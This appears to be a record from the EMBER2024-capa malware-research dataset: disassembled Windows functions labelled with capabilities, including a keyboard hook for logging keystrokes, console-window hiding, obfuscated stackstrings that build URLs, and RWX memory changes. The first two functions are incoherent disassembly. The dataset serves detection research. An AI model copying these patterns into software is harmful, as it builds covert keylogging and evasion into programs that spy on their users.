joyce8/EMBER2024-capa huggingface dataset:
Function at 0x420ad8
Capabilities:
Encode data using xor

Disassembly:
add dword [ecx], eax
pushal
mov word [esi + 0xf125], es
mov word [bx + di], cs
mov cl, byte [bp - 0xb67]
add byte [eax], al
mov word [esi + 0xf125], ss
test bl, al
add ecx, dword [edx + 0xf12596]
add byte [edi - 0x74], ah
xchg byte [ecx + 0x670000f4], bl
mov al, byte [esi + 0xfef9]
mov word [esi + 0xf121], cs
mov word [bp + si], ss
mov dl, byte [bp - 0xb69]
add byte [eax], al
mov word [esi + 0xf121], es
test cl, al
add ecx, dword [edx + 0xf12186]
add byte [edi - 0x74], ah
mov word [bp - 0xb69], cs
add byte [eax], al
invalid
mov cl, byte [esi + 0xfffd]
push edx
push edi
test ch, al
add eax, 0x5354e282
add al, byte [ecx]
pop edx
pop eax
push esp
test ch, al
add eax, 0x5bddf082
add al, byte [ecx]
in al, dx
push es
inc esi
xor al, 0x50
xor eax, 0x82516033
loope 0x420a89
push 1
add esp, ebp
add al, 0x46
cmp byte [0x9adec982], dh
xor eax, 0x9adec982

Function at 0x422dd0
Capabilities:
Encode data using xor

Disassembly:
add dword [edx + 0x1a6c8c7], eax
add dword [edi + 0x53], ebx
push esp
test ch, al
add eax, 0x36b5cb82
add dword [ecx], eax
pop ebx
mov word [esi + 0xfc1d], es
mov al, byte [esi + 0xfa39]
in al, dx
imul edx, dword [edx + 0x52], 0xec05c584
add al, 0x46
dec eax
add dl, 0x29
add dl, 0x29
push eax
add al, byte [ecx]
in al, dx
push es
inc edi
xor eax, 0x9dca8249
xchg esi, eax
add dword [ecx], eax
pop edx
push ebx
push edx
test ch, al
add eax, 0x6802c382
add dword [ecx], eax
pop ebx
push edi
xor bh, 0x95
push cs
add al, byte [ecx]
pop edi
mov word [esi + 0xfc1d], cs
add byte [eax], al
mov word [edx], ss
mov dl, byte [esi + 0xfc1d]
mov word [esi + 0xfc1d], es
cmp al, 0x86
sal eax, 1
add byte [eax], al
jne 0x422df9
mov word [esi + 0xfc1d], cs
test byte [edx + 0x31], bh
add dword [eax], edx
xchg byte [edi - 0x37ffff02], dh
mov bh, 0xfe
add byte [eax], al
enter 0x3986, 0xfffffffffffffffa
xchg byte [ecx], bh
cli
add byte [eax], al
add dword [ecx], eax
add dword [ecx], eax
push edi
xor bh, 0xd5
rol byte [ecx], 1
xor bh, 0xdf
xchg byte [ecx], al
add dword [edx + 0x1ccd1c7], eax
add dword [edx + 0x2489fef], eax
add dword [edi + 0x51], ebx
push ecx
test ch, al
add eax, 0x38f4c982
add al, byte [ecx]
xor cl, 0xe7
or eax, 0xc1820102
jne 0x422df4
add dword [ecx], eax
pop ecx
test byte [esi + 0xfa39], bh
add dword [esi + 0x42], esi
push edx
push ecx
test ch, al
add eax, 0xfedfea82
add dword [ecx], eax
pop edx
push esp
push ecx
test ch, al
add eax, 0x8951ec82
add dword [ecx], eax
sub ah, 0xe4
mov es, word [ecx]
add dword [edx + 0x25e3ff4], eax
add dword [edx + edx*2 - 0x7e], ebx
retf 0x24c4

Function at 0x4246e4
Capabilities:
Hash data with crc32

Disassembly:
push esi
xor esi, esi
mov ecx, 0x4c090c
mov eax, esi
mov edx, 8
test al, 1
je 0x424700
shr eax, 1
xor eax, 0xedb88320
jmp 0x424702
shr eax, 1
dec edx
jne 0x4246f3
mov dword [ecx], eax
inc esi
add ecx, 4
cmp esi, 0x100
jne 0x4246ec
pop esi
ret
Function at 0x424718
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ecx
mov esi, ecx
mov edi, edx
mov ebx, eax
cmp dword [0x4c0908], 0
jne 0x424742
call fcn.004246e4
mov dword [esp], 0x4c0908
mov edx, dword [esp]
mov eax, 1
lock xchg dword [edx], eax
mov eax, edi
test esi, esi
je 0x42476c
mov edx, 0xff
and edx, ebx
movzx ecx, byte [eax]
xor dx, cx
movzx edx, dx
mov edx, dword [edx*4 + 0x4c090c]
shr ebx, 8
xor edx, ebx
mov ebx, edx
dec esi
inc eax
test esi, esi
jne 0x424748
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x40a298], 1
mov dword [0x40a294], 1
mov dword [0x40a290], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x40a00c], eax
mov eax, dword [0x40a2a4]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x40a2b8]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x40a2a0]
mov dword [eax], edx
call sym.__setargv
cmp dword [0x40501c], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], sym.__matherr
call sym.___mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056

Function at 0x40159c
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], sym.__Z12HookCallbackijl_12
mov dword [esp], 0xd
mov eax, dword [sym.imp.USER32.dll_SetWindowsHookExW]
call eax
sub esp, 0x10
mov dword [0x40a040], eax
mov eax, dword [0x40a040]
test eax, eax
sete al
test al, al
je 0x401613
mov dword [ebp - 0xc], str.Failed_to_install_hook_
mov dword [ebp - 0x10], str.Error
mov dword [esp + 0xc], 0x10
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxW]
call eax
sub esp, 0x10
nop
leave
ret
Function at 0x4019a7
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [esp + 4], 0
mov dword [esp], str.ConsoleWindowClass
mov eax, dword [sym.imp.USER32.dll_FindWindowA]
call eax
sub esp, 8
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_ShowWindow]
call eax
sub esp, 8
mov eax, dword [sym.imp.KERNEL32.dll_FreeConsole]
call eax
nop
leave
ret

Function at 0x402410
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call sym.___acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call sym.___acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x402470
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x40a2ac]
test esi, esi
jle 0x402590
mov eax, dword [0x40a2b0]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x4024a4
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x402527
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x402490
mov dword [esp], ebx
call sym.___mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x4025b7
mov eax, dword [0x40a2b0]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call sym.__GetPEImageBase
mov edx, dword [0x40a2b0]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x402597
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x402520
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x402530
add dword [0x40a2ac], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x40a2b0]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x402520
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call sym.___report_error
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x4024ae
mov eax, dword [0x40a2b0]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call sym.___report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call sym.___report_error
lea esi, [esi]
nop
Function at 0x402ad0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x40a2c8
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x40a2c0]
sub esp, 4
test ebx, ebx
je 0x402b25
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x402b1e
test esi, esi
je 0x402b1e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402b00
mov dword [esp], 0x40a2c8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x402d50
Capabilities:
Parse pe header
Terminate process

Disassembly:
sub esp, 0x1c
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call dword [sym.imp.msvcrt.dll_exit]

Function at 0x402e80
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x402ea5
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x402eb0
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x402ea5
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x402ef8
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x402eee
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x402efa
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x402ee0
xor eax, eax
pop ebx
pop esi
ret
Function at 0x408960
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x44], 0x390038
push edi
mov dword [ebp - 0x40], 0x390046
mov dword [ebp - 0x3c], 0x410031
mov dword [ebp - 0x38], 0x380039
mov dword [ebp - 0x34], 0x300042
mov dword [ebp - 0x30], 0x460044
mov dword [ebp - 0x2c], 0x410034
mov dword [ebp - 0x28], 0x430031
mov dword [ebp - 0x24], 0x450038
mov dword [ebp - 0x20], 0x460035
mov dword [ebp - 0x1c], 0x300041
mov dword [ebp - 0x18], 0x320032
mov dword [ebp - 0x14], 0x300032
mov dword [ebp - 0x10], 0x450031
mov dword [ebp - 0xc], 0x430033
mov dword [ebp - 8], 0x410043
mov word [ebp - 4], ax
call fcn.0040c4c0
mov ecx, eax
test ecx, ecx
je 0x408a3a
mov eax, dword [ecx]
push 2
push 0x20
call dword [eax]
test eax, eax
je 0x408a44
mov esi, dword [ebp + 8]
add eax, 0x10
mov dword [esi], eax
cmp dword [eax - 8], 0x20
jl 0x408a30
mov dword [eax - 0xc], 0x20
xor eax, eax
mov ecx, dword [esi]
push 0x40
mov word [ecx + 0x40], ax
lea eax, [ebp - 0x44]
push eax
push 0x40
push dword [esi]
call fcn.00411290
add esp, 0x10
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0x80070057
call fcn.00409540
push 0x80004005
call fcn.00409540
call fcn.0040d7b0
int3

Function at 0x408a50
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [0x594584]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
xor eax, eax
push edi
push 0x27
mov ecx, esi
mov dword [ebp - 0x58], esi
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
lea eax, [ebp - 0x54]
push eax
mov dword [ebp - 0x54], 0x740068
mov dword [ebp - 0x50], 0x700074
mov dword [ebp - 0x4c], 0x2f003a
mov dword [ebp - 0x48], 0x73002f
mov dword [ebp - 0x44], 0x610065
mov dword [ebp - 0x40], 0x630072
mov dword [ebp - 0x3c], 0x2e0068
mov dword [ebp - 0x38], 0x320035
mov dword [ebp - 0x34], 0x6f0074
mov dword [ebp - 0x30], 0x6c006f
mov dword [ebp - 0x2c], 0x6f0062
mov dword [ebp - 0x28], 0x2e0078
mov dword [ebp - 0x24], 0x6f0063
mov dword [ebp - 0x20], 0x2f006d
mov dword [ebp - 0x1c], 0x65006d
mov dword [ebp - 0x18], 0x62006d
mov dword [ebp - 0x14], 0x720065
mov dword [ebp - 0x10], 0x68002e
mov dword [ebp - 0xc], 0x6d0074
mov dword [ebp - 8], 0x6c
call fcn.0040f730
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004cc1ce
mov esp, ebp
pop ebp
ret 4
Function at 0x408bc0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
mov eax, dword [0x594584]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
xor eax, eax
push edi
mov word [ebp - 8], ax
mov ecx, esi
push 0x32
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], 7
mov word [esi], ax
lea eax, [ebp - 0x6c]
push eax
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], 0x740068
mov dword [ebp - 0x68], 0x700074
mov dword [ebp - 0x64], 0x2f003a
mov dword [ebp - 0x60], 0x73002f
mov dword [ebp - 0x5c], 0x610065
mov dword [ebp - 0x58], 0x630072
mov dword [ebp - 0x54], 0x2e0068
mov dword [ebp - 0x50], 0x320035
mov dword [ebp - 0x4c], 0x6f0074
mov dword [ebp - 0x48], 0x6c006f
mov dword [ebp - 0x44], 0x6f0062
mov dword [ebp - 0x40], 0x2e0078
mov dword [ebp - 0x3c], 0x6f0063
mov dword [ebp - 0x38], 0x2f006d
mov dword [ebp - 0x34], 0x6e0069
mov dword [ebp - 0x30], 0x750070
mov dword [ebp - 0x2c], 0x2d0074
mov dword [ebp - 0x28], 0x6f0063
mov dword [ebp - 0x24], 0x650064
mov dword [ebp - 0x20], 0x68002e
mov dword [ebp - 0x1c], 0x6d0074
mov dword [ebp - 0x18], 0x3f006c
mov dword [ebp - 0x14], 0x640063
mov dword [ebp - 0x10], 0x65006b
mov dword [ebp - 0xc], 0x3d0079
call fcn.0040f730
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004cc1ce
mov esp, ebp
pop ebp
ret 4

Function at 0x408cc0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x28], 0x350038
mov dword [ebp - 0x24], 0x730064
mov dword [ebp - 0x20], 0x49002d
mov dword [ebp - 0x1c], 0x580055
mov dword [ebp - 0x18], 0x2d0038
mov dword [ebp - 0x14], 0x390033
mov dword [ebp - 0x10], 0x5a0050
mov dword [ebp - 0xc], 0x6b002d
mov dword [ebp - 8], 0x360069
mov dword [ebp - 4], 0x38
call fcn.0040c4c0
mov ecx, eax
test ecx, ecx
je 0x408d66
mov eax, dword [ecx]
push 2
push 0x13
call dword [eax]
test eax, eax
je 0x408d70
push esi
mov esi, dword [ebp + 8]
add eax, 0x10
mov dword [esi], eax
cmp dword [eax - 8], 0x13
jl 0x408d5c
mov dword [eax - 0xc], 0x13
xor eax, eax
mov ecx, dword [esi]
push 0x26
mov word [ecx + 0x26], ax
lea eax, [ebp - 0x28]
push eax
push 0x26
push dword [esi]
call fcn.00411290
add esp, 0x10
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 4
push 0x80070057
call fcn.00409540
push 0x80004005
call fcn.00409540
call fcn.0040d7b0
int3

Function at 0x40dca0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x40dcf9
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x40dcf9
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x40dcea
cmp esi, edx
jae 0x40dcf9
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub ecx, 1
jne 0x40dcd8
cmp esi, edx
jae 0x40dcf9
cmp word [esi], 0
je 0x40dcf9
mov eax, esi
pop esi
pop ebp
ret
xor eax, eax
pop esi
pop ebp
ret
Function at 0x4106d0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x540ae8
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x594584]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
push 8
mov dword [esi + 0x30], 0
mov dword [esi + 8], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0x201
mov dword [esi + 0x18], 6
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0xc], 0
call fcn.004cbef6
mov edi, eax
add esp, 4
test edi, edi
je 0x41076d
push 1
mov dword [ebp - 4], 0
call fcn.00434198
add esp, 4
mov dword [edi + 4], eax
jmp 0x41076f
xor edi, edi
mov eax, dword [ebp + 8]
mov dword [esi + 0x30], edi
mov dword [esi + 0x38], eax
mov dword [esi + 0x3c], 0
mov edi, dword [edi + 4]
mov ecx, edi
mov dword [ebp - 4], 1
mov dword [ebp - 0x10], edi
mov eax, dword [edi]
call dword [eax + 4]
lea eax, [ebp - 0x14]
mov dword [ebp - 4], 2
push eax
call fcn.00406350
add esp, 4
mov ecx, dword [eax]
push 0x20
mov edx, dword [ecx + 0x30]
mov ecx, eax
call edx
movzx ebx, ax
mov dword [ebp - 4], 3
test edi, edi
je 0x4107d4
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 8]
test eax, eax
je 0x4107d4
mov ecx, dword [eax]
push 1
mov edx, dword [ecx]
mov ecx, eax
call edx
cmp dword [esi + 0x38], 0
mov dword [ebp - 4], 0xffffffff
mov word [esi + 0x40], bx
jne 0x4107f5
mov eax, dword [esi + 0xc]
mov ecx, esi
push 0
or eax, 4
push eax
call fcn.0040f840
cmp byte [ebp + 0xc], 0
je 0x410804
push esi
call fcn.00434a81
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x411b40
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x540be8
mov eax, dword fs:[0]
push eax
sub esp, 0x44
mov eax, dword [0x594584]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x4c]
push 0x3c
push 0
push eax
mov dword [ebp - 0x50], edi
call fcn.0050f150
add esp, 0xc
lea eax, [ebp - 0x4c]
push dword [esi]
push 0xb
push eax
push 0
push str.check_time_outdate
push str.General
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
call fcn.0040c4c0
mov ecx, eax
test ecx, ecx
je 0x411c0f
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [edi], eax
lea eax, [ebp - 0x4c]
mov dword [ebp - 4], 0
test eax, 0xffff0000
jne 0x411bcf
movzx eax, ax
mov ecx, edi
push eax
call fcn.0040cd30
jmp 0x411bf0
lea ecx, [ebp - 0x4c]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x411bd5
sub ecx, edx
lea eax, [ebp - 0x4c]
sar ecx, 1
push ecx
push eax
mov ecx, edi
call fcn.004122c0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004cc1ce
mov esp, ebp
pop ebp
ret 4
push 0x80004005
call fcn.00409540
int3
Function at 0x413270
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esi + 4], 0xffffffff
je 0x4132ce
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, dword [esi]
cmp eax, 0xffffffff
je 0x4132aa
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esi]
call edi
mov dword [esi], 0xffffffff
mov eax, dword [esi + 4]
cmp eax, 0xffffffff
je 0x4132bc
push eax
call edi
mov dword [esi + 4], 0xffffffff
mov eax, dword [esi + 8]
cmp eax, 0xffffffff
je 0x4132ce
push eax
call edi
mov dword [esi + 8], 0xffffffff
mov ebx, dword [ebp + 8]
push 0
push 0x40000000
push 3
push 0
push 0
push 0xc0000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esi + 4], eax
cmp eax, 0xffffffff
jne 0x413303
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ecx, ebx
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x413310
sub ecx, edx
sar ecx, 1
push ecx
push ebx
lea ecx, [esi + 0x10]
call fcn.0040f730
push 0
push 0
lea eax, [ebp - 4]
mov dword [ebp - 4], 2
push eax
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
mov ecx, dword [esi + 0xc]
test ecx, ecx
je 0x41334f
mov eax, dword [ecx]
push 0
push esi
call dword [eax]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
cmp byte [esi + 0x28], 0
mov dword [esi + 8], eax
jne 0x4133a1
lea eax, [ebp - 8]
push eax
push 0
push esi
push 0x413410
push 0
push 0
call fcn.0051d8b5
add esp, 0x18
mov dword [esi], eax
test eax, eax
jne 0x4133a1
mov eax, dword [esi + 4]
cmp eax, 0xffffffff
je 0x413396
push eax
call edi
mov dword [esi + 4], 0xffffffff
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 4
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x4135a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
push dword [ebp + 0xc]
mov esi, ecx
push dword [ebp + 8]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4135d0
xor al, al
pop esi
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [esi + 0xc]
test ecx, ecx
je 0x4135df
mov eax, dword [ecx]
push 0
push esi
call dword [eax + 0xc]
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x415200
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x4c], 0x740068
push edi
mov dword [ebp - 0x48], 0x700074
mov dword [ebp - 0x44], 0x2f003a
mov dword [ebp - 0x40], 0x73002f
mov dword [ebp - 0x3c], 0x610065
mov dword [ebp - 0x38], 0x630072
mov dword [ebp - 0x34], 0x2e0068
mov dword [ebp - 0x30], 0x320035
mov dword [ebp - 0x2c], 0x6f0074
mov dword [ebp - 0x28], 0x6c006f
mov dword [ebp - 0x24], 0x6f0062
mov dword [ebp - 0x20], 0x2e0078
mov dword [ebp - 0x1c], 0x6f0063
mov dword [ebp - 0x18], 0x2f006d
mov dword [ebp - 0x14], 0x6f006a
mov dword [ebp - 0x10], 0x6e0069
mov dword [ebp - 0xc], 0x6c0063
mov dword [ebp - 8], 0x620075
mov word [ebp - 4], ax
call fcn.0040c4c0
mov ecx, eax
test ecx, ecx
je 0x4152e8
mov eax, dword [ecx]
push 2
push 0x24
call dword [eax]
test eax, eax
je 0x4152f2
mov esi, dword [ebp + 8]
add eax, 0x10
mov dword [esi], eax
cmp dword [eax - 8], 0x24
jl 0x4152de
mov dword [eax - 0xc], 0x24
xor eax, eax
mov ecx, dword [esi]
push 0x48
mov word [ecx + 0x48], ax
lea eax, [ebp - 0x4c]
push eax
push 0x48
push dword [esi]
call fcn.00411290
add esp, 0x10
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0x80070057
call fcn.00409540
push 0x80004005
call fcn.00409540
call fcn.0040d7b0
int3

Function at 0x415300
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x3c], 0x740068
push edi
mov dword [ebp - 0x38], 0x700074
mov dword [ebp - 0x34], 0x2f003a
mov dword [ebp - 0x30], 0x73002f
mov dword [ebp - 0x2c], 0x610065
mov dword [ebp - 0x28], 0x630072
mov dword [ebp - 0x24], 0x2e0068
mov dword [ebp - 0x20], 0x320035
mov dword [ebp - 0x1c], 0x6f0074
mov dword [ebp - 0x18], 0x6c006f
mov dword [ebp - 0x14], 0x6f0062
mov dword [ebp - 0x10], 0x2e0078
mov dword [ebp - 0xc], 0x6f0063
mov dword [ebp - 8], 0x2f006d
mov word [ebp - 4], ax
call fcn.0040c4c0
mov ecx, eax
test ecx, ecx
je 0x4153cc
mov eax, dword [ecx]
push 2
push 0x1c
call dword [eax]
test eax, eax
je 0x4153d6
mov esi, dword [ebp + 8]
add eax, 0x10
mov dword [esi], eax
cmp dword [eax - 8], 0x1c
jl 0x4153c2
mov dword [eax - 0xc], 0x1c
xor eax, eax
mov ecx, dword [esi]
push 0x38
mov word [ecx + 0x38], ax
lea eax, [ebp - 0x3c]
push eax
push 0x38
push dword [esi]
call fcn.00411290
add esp, 0x10
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0x80070057
call fcn.00409540
push 0x80004005
call fcn.00409540
call fcn.0040d7b0
int3